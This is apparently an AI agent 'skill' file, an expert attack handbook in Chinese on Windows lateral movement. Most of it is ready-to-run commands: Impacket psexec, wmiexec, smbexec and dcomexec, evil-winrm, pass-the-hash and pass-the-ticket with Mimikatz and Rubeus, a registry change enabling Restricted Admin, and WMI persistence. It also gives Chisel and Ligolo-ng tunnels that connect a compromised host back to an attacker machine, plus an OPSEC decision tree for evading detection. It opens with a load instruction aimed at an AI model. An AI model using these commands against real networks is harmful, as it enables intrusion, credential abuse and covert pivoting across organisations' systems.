windows-lateral-movement

技能：Windows 横向移动——专家攻击手册

AI LOAD INSTRUCTION：Windows 横向移动专家技术。涵盖 PsExec、WMI、WinRM、DCOM、SMB、RDP、SSH、哈希传递、哈希转票据、票据传递和网络枢纽。基础模型往往会忽略各执行方法的特征、OPSEC 权衡，以及每种方法所需的凭据类型。

0. 相关路由

深入探讨前，可考虑加载：

• windows-privilege-escalation：进入新主机后进行本地提权
• windows-av-evasion：EDR 阻止横向移动工具时
• active-directory-kerberos-attacks：基于 Kerberos 的横向移动（票据传递、委派）
• active-directory-acl-abuse：通过 ACL 路径访问新主机

进阶参考

在需要以下内容时，也请加载 CREDENTIAL_DUMPING.md：

• LSASS 转储技术（MiniDump、comsvcs.dll、nanodump）
• SAM/SYSTEM/SECURITY 提取
• DPAPI、凭据管理器、缓存的域凭据
• NTDS.dit 提取方法

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1. 远程执行方法对比

方法	端口	凭据类型	是否创建服务？	是否在磁盘上留存文件？	OPSEC	是否需要管理员权限？
PsExec	445 (SMB)	密码/哈希	是 (PSEXESVC)	是 (.exe)	低	是
Impacket smbexec	445	密码/哈希	是（临时服务）	否	中	是
Impacket atexec	445	密码/哈希	否（计划任务）	否	中	是
WMI	135+动态	密码/哈希	否	否	高	是
WinRM	5985/5986	密码/哈希/票据	否	否	高	是（远程管理权限）
DCOM	135+动态	密码/哈希	否	否	高	是
RDP	3389	密码/哈希 (RestrictedAdmin)	否	否	低（GUI 会话）	需要 RDP 访问权限
SSH	22	密码/密钥	否	否	高	需要启用 SSH
SC	445	密码/哈希	是（自定义服务）	是	低	是

---

2. PSEXEC 变体

Impacket PsExec

# With password
psexec.py DOMAIN/administrator:password@TARGET_IP

# With NTLM hash (pass-the-hash)
psexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP

# With Kerberos ticket
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass DOMAIN/[email protected]

Impacket smbexec（更隐蔽——不上传二进制文件）

smbexec.py DOMAIN/administrator:password@TARGET_IP
smbexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP

Impacket atexec（计划任务）

atexec.py DOMAIN/administrator:password@TARGET_IP "whoami"
atexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP "whoami"

Sysinternals PsExec

PsExec64.exe \\TARGET -u DOMAIN\administrator -p password cmd.exe
PsExec64.exe \\TARGET -s cmd.exe    & REM Run as SYSTEM (-s)
PsExec64.exe \\TARGET -accepteula -s -d cmd.exe /c "C:\temp\payload.exe"

---

3. WMI 横向移动

# Impacket wmiexec
wmiexec.py DOMAIN/administrator:password@TARGET_IP
wmiexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP

# With Kerberos
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass DOMAIN/[email protected]

# PowerShell WMI process creation
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName TARGET -Credential $cred

# WMI event subscription persistence
$filterArgs = @{
    EventNamespace = 'root\cimv2'; Name = 'Updater';
    QueryLanguage = 'WQL';
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs

---

4. WINRM 横向移动

# evil-winrm (from Linux — with password)
evil-winrm -i TARGET_IP -u administrator -p password

# evil-winrm (with hash)
evil-winrm -i TARGET_IP -u administrator -H NTLM_HASH

# evil-winrm (with Kerberos)
evil-winrm -i target.domain.com -r DOMAIN.COM

# PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred

# Execute command remotely
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }

# Multiple targets simultaneously
Invoke-Command -ComputerName TARGET1,TARGET2 -Credential $cred -ScriptBlock { hostname; whoami }

---

5. DCOM 横向移动

隐蔽性高——使用合法的 COM 对象，不创建服务。

MMC20.Application

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\temp\out.txt","7")

ShellWindows

$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET"))
$item = $com.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\temp\out.txt","C:\Windows\System32",$null,0)

ShellBrowserWindow

$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))
$com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)

Impacket dcomexec

dcomexec.py DOMAIN/administrator:password@TARGET_IP
dcomexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP -object MMC20

---

6. 哈希传递 (PTH)

直接使用 NTLM 哈希，无需知道明文密码。

# CrackMapExec — spray/check admin access
crackmapexec smb TARGETS -u administrator -H NTLM_HASH

# Impacket tools (all support -hashes)
psexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
wmiexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
smbexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET

# evil-winrm
evil-winrm -i TARGET -u user -H NTLM_HASH

# xfreerdp (Restricted Admin mode must be enabled)
xfreerdp /v:TARGET /u:administrator /pth:NTLM_HASH /d:DOMAIN

# Mimikatz PTH (spawns new process with injected creds)
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:cmd.exe

为 RDP PTH 启用 Restricted Admin

# On target (requires admin): enable restricted admin
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

---

7. 哈希转票据（密钥传递）

将 NTLM 哈希 → Kerberos TGT → 纯 Kerberos 身份验证。

# Request TGT with hash
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache

# Or with AES256 key
getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP

# Use Kerberos for all subsequent tools
psexec.py -k -no-pass DOMAIN/[email protected]
wmiexec.py -k -no-pass DOMAIN/[email protected]

# Mimikatz overpass-the-hash
sekurlsa::pth /user:user /domain:DOMAIN /ntlm:HASH /run:powershell.exe
# New PowerShell session → klist shows Kerberos TGT

优势：纯 Kerberos 身份验证可避免 NTLM 日志记录和检测。

---

8. 票据传递

# Use existing .ccache ticket
export KRB5CCNAME=/path/to/admin.ccache
psexec.py -k -no-pass DOMAIN/[email protected]

# Mimikatz — inject .kirbi ticket
kerberos::ptt ticket.kirbi
# Verify
klist

# Rubeus
Rubeus.exe ptt /ticket:base64_blob

---

9. 通过已攻陷主机进行网络枢纽

SSH 隧道/端口转发

# Dynamic SOCKS proxy through compromised host
ssh -D 1080 user@COMPROMISED_HOST
# Use with proxychains

# Local port forward (access internal service)
ssh -L 8888:INTERNAL_TARGET:445 user@COMPROMISED_HOST

Chisel（无需 SSH）

# On attacker (server)
chisel server --reverse -p 8080

# On compromised host (client)
chisel client ATTACKER:8080 R:socks
# Creates SOCKS5 proxy on attacker's port 1080

Ligolo-ng（现代、高速）

# On attacker
ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# On compromised host
ligolo-agent -connect ATTACKER:11601 -retry -ignore-cert

# In ligolo console
session          # Select agent
start            # Start tunnel
# Add route: sudo ip route add INTERNAL_SUBNET/24 dev ligolo

---

10. 横向移动决策树

Have credentials / hash — need to move laterally
│
├── What credentials do you have?
│   ├── Plaintext password → any method
│   ├── NTLM hash → PTH methods (§6)
│   │   ├── Need stealthier? → Overpass-the-Hash first (§7)
│   │   └── Direct use → psexec/wmiexec/evil-winrm with -H
│   ├── Kerberos ticket → Pass-the-Ticket (§8)
│   └── AES key → Overpass-the-Hash with -aesKey (§7)
│
├── OPSEC priority?
│   ├── High stealth needed
│   │   ├── WMI (no file on disk, no service) → wmiexec (§3)
│   │   ├── DCOM (uses legitimate COM) → dcomexec (§5)
│   │   └── WinRM (PowerShell remoting) → evil-winrm (§4)
│   ├── Moderate stealth
│   │   ├── smbexec (no binary upload) (§2)
│   │   └── atexec (scheduled task, auto-cleanup) (§2)
│   └── Low stealth acceptable
│       ├── PsExec (reliable, creates service) (§2)
│       └── RDP (interactive GUI) (§6)
│
├── Need to pivot to internal network?
│   ├── SSH available → SSH tunnel / SOCKS (§9)
│   ├── No SSH → Chisel or Ligolo-ng (§9)
│   └── Multiple hops → chain SOCKS proxies
│
├── Target hardening?
│   ├── SMB signing required → WMI, WinRM, or DCOM
│   ├── WinRM disabled → WMI or DCOM
│   ├── Firewall blocks 135/445 → RDP or SSH
│   └── Restricted Admin disabled → no RDP PTH → use other methods
│
└── Need to dump creds on new host?
    └── Load CREDENTIAL_DUMPING.md